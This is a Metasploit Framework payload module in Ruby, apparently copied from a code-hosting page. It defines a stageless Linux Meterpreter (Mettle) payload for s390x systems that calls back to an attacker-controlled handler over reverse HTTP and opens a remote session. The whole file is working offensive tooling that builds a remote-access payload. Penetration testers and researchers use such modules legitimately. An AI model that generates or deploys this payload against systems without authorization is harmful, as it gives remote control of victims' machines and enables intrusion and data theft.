47 lines
1.3 KiB
Ruby
47 lines
1.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core/handler/reverse_http'
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
require 'msf/base/sessions/mettle_config'
|
|
require 'msf/base/sessions/meterpreter_zarch_linux'
|
|
|
|
module MetasploitModule
|
|
|
|
CachedSize = 1071704
|
|
|
|
include Msf::Payload::Single
|
|
include Msf::Sessions::MeterpreterOptions
|
|
include Msf::Sessions::MettleConfig
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Linux Meterpreter, Reverse HTTP Inline',
|
|
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
|
|
'Author' => [
|
|
'Adam Cammack <adam_cammack[at]rapid7.com>',
|
|
'Brent Cook <brent_cook[at]rapid7.com>',
|
|
'timwr'
|
|
],
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_ZARCH,
|
|
'License' => MSF_LICENSE,
|
|
'Handler' => Msf::Handler::ReverseHttp,
|
|
'Session' => Msf::Sessions::Meterpreter_zarch_Linux
|
|
)
|
|
)
|
|
end
|
|
|
|
def generate
|
|
opts = {
|
|
scheme: 'http',
|
|
stageless: true
|
|
}
|
|
MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config(opts)).to_binary :exec
|
|
end
|
|
end
|